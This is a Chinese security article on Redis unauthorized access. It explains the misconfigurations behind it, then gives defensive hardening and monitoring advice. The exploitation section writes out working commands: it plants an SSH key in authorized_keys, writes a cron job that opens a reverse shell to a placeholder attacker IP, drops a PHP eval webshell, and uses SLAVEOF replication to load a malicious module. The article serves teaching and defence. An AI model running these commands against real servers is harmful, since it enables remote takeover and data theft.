安全小知识-第二十期_Redis未授权访问漏洞利用与修复

admin 2026-01-23 11:24:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析Redis未授权访问漏洞的原理与利用方式,包括通过CONFIG命令写入WebShell、SSH公钥及计划任务,以及主从复制RCE攻击。文章提供了企业级纵深防护方案,涵盖网络隔离、服务配置加固、低权限运行及日志监控,旨在帮助企业有效防御Redis相关安全风险。 综合评分: 91 文章分类: 漏洞分析,渗透测试,WEB安全,解决方案,实战经验


cover_image

安全小知识-第二十期_Redis未授权访问漏洞利用与修复

原创

今木安全 今木安全

今木安全

2026年1月22日 11:30 上海

Redis因其高性能而备受青睐,但其默认配置的“零安全”策略也带来了严峻的挑战。本文将深入技术细节,解析漏洞成因、攻击手法,并提供层层递进的防护方案。

一、 漏洞原理深度剖析:从默认配置到权限失控

  1. 不安全的默认配置链
  • 绑定地址(bind): 默认配置为 bind 127.0.0.1,但若管理员为方便而改为 bind 0.0.0.0或直接注释掉该行,Redis将监听所有网络接口,暴露在公网。
  • 保护模式(protected-mode): Redis 3.2版本引入的重要安全特性。默认值为 yes。当服务器未设置密码且绑定地址为全零(0.0.0.0)时,保护模式会生效,仅允许回环地址(127.0.0.1)的连接。然而,一旦设置了 bind 0.0.0.0并同时设置了密码,保护模式便会自动禁用,此时安全完全依赖于密码强度和网络防火墙。
  • 认证密码(requirepass): 默认值为空。这是导致未授权访问的最直接原因。
  1. 权限提升的技术链条

    攻击者连接成功后,利用Redis内置的CONFIG命令修改数据持久化路径和文件名,从而实现任意文件写入。其技术链条如下:

   # 1. 无认证连接
   redis-cli -h 目标IP -p 6379

   # 2. 关键步骤:更改Redis工作目录(dir)
   # 此命令将Redis的持久化文件存储路径指向系统关键目录
   config set dir /var/www/html/         # 针对Web目录
   config set dir /root/.ssh/             # 针对SSH密钥目录
   config set dir /etc/cron.d/           # 针对计划任务目录
   config set dir /tmp/                   # 针对临时目录,可能用于上传可执行文件

   # 3. 关键步骤:设置持久化文件名(dbfilename)
   config set dbfilename shell.php       # 写入WebShell
   config set dbfilename authorized_keys # 写入SSH公钥
   config set dbfilename root             # 写入Crontab任务等

   # 4. 写入恶意内容并触发持久化
   set payload "恶意代码或公钥内容"
   save # 或 bgsave,将内存数据导出到指定文件

技术细节save命令会阻塞Redis服务器直到文件写入完成,而bgsave会异步执行。写入的文件会包含Redis数据文件头,这可能破坏某些文件格式(如SSH密钥),但通过精心构造内容(如换行符)可以绕过。

二、 攻击技术扩展:从数据泄露到系统沦陷

  1. 数据层面攻击
  • 敏感信息泄露:使用keys *命令模糊匹配所有键,再使用gethgetall等命令获取业务数据、会话信息、配置信息等。
  • 数据破坏flushdb清空当前数据库,flushall清空所有数据库,对业务造成毁灭性打击。
  1. 系统层面攻击(核心危害)
  • 前提:知道Web根目录绝对路径。

  • 操作:写入一个可执行的脚本文件(如PHP)。

  • 操作:将目录设置为/etc/cron.d/,文件名任意,写入计划任务格式的恶意命令。

  • 前提:Redis服务以root权限运行,且目标服务器开启了SSH密码登录或存在其他漏洞。

  • 操作:如上文所述,将公钥写入/root/.ssh/authorized_keys

  • 细节:写入的文件开头会包含Redis版本信息等乱码,需在公钥前后添加换行符以确保SSH能正确识别。

  • SSH公钥植入登录

  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
  cat temp.txt | redis-cli -h 目标IP -x set payload
  redis-cli -h 目标IP config set dir /root/.ssh/
  redis-cli -h 目标IP config set dbfilename authorized_keys
  redis-cli -h 目标IP save
  • Crontab计划任务反弹Shell
  config set dir /etc/cron.d/
  config set dbfilename redis-shell
  set payload "*/1 * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n"
  save
  • WebShell写入
  config set dir /var/www/html/
  config set dbfilename shell.php
  set payload "<?php @eval($_POST['cmd']);?>"
  save

三、 高级利用技术:主从复制攻击

这是比文件写入更强大的攻击方式,可用于实现远程代码执行(RCE)。

  1. 原理:Redis的主从复制功能允许从库(Slave)同步主库(Master)的数据。攻击者可以控制一个恶意Redis服务器,并将其设置为目标Redis的主库。
  2. 步骤
   # 在目标Redis上执行
   SLAVEOF 攻击者RedisIP 攻击者Redis端口
  • 攻击者Redis会将自己的数据(包括恶意模块)同步给目标Redis。

  • 通过MODULE LOAD命令在目标Redis上加载恶意模块,即可执行任意命令。

  • 在攻击者服务器上,准备好一个包含恶意代码的Redis模块(.so文件)。

  • 将目标Redis设置为攻击者Redis的从库。

四、 企业级纵深防护方案

  1. 网络层隔离(第一道防线)
   # iptables 示例:仅允许192.168.1.0/24网段访问
   iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 6379 -j ACCEPT
   iptables -A INPUT -p tcp --dport 6379 -j DROP
  • 安全组/NSG:在云环境中,配置安全组规则,实现同样的网络隔离。

  • 防火墙:严格限制Redis端口的访问源IP,仅允许应用服务器IP段访问。

  1. 服务层加固(核心配置)
   rename-command FLUSHALL ""
   rename-command CONFIG ""
   rename-command EVAL ""
   rename-command MODULE ""
   # 重命名后,使用新命令管理,如:
   rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"
  • 强制认证:在redis.conf中设置requirepass一个高强度密码(长度>16位,包含大小写、数字、特殊字符)。
  • 修改默认端口:将端口从6379改为非常用端口,增加攻击者扫描难度。
  • 限制监听地址:非必要不暴露公网,生产环境应配置bind 127.0.0.1或内网IP。
  • 禁用危险命令:通过rename-command配置重命名或禁用高风险命令。
  1. 系统层权限控制
   useradd -r -s /bin/false redis
   chown -R redis:redis /var/lib/redis
   chown -R redis:redis /var/log/redis
   # 在systemd服务文件中指定User=redis
  • 文件系统限制:通过AppArmor或SELinux为Redis进程定义严格的访问控制策略,限制其只能访问必要的文件和目录。

  • 低权限运行:使用非root用户(如redis用户)启动Redis服务。

五、 检测与监控

  • 漏洞扫描:定期使用内部扫描工具或授权的外部扫描服务,检查是否存在未授权访问的Redis实例。
  • 日志审计:Redis的日志默认不记录客户端连接。需要在redis.conf中配置loglevel verbose并设置logfile路径,才能记录连接信息,便于事后溯源。
  • 入侵指标(IOC)监控:在HIDS(主机入侵检测系统)或网络层面监控对Redis端口的异常连接、CONFIG命令的执行、以及对计划任务或SSH目录的异常写入行为。

通过以上层层递进的技术防护与监控,可以极大地降低Redis未授权访问漏洞带来的风险,为企业数据安全构筑坚固的防线。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:今木安全 今木安全 今木安全《安全小知识-第二十期_Redis未授权访问漏洞利用与修复》

评论:0   参与:  0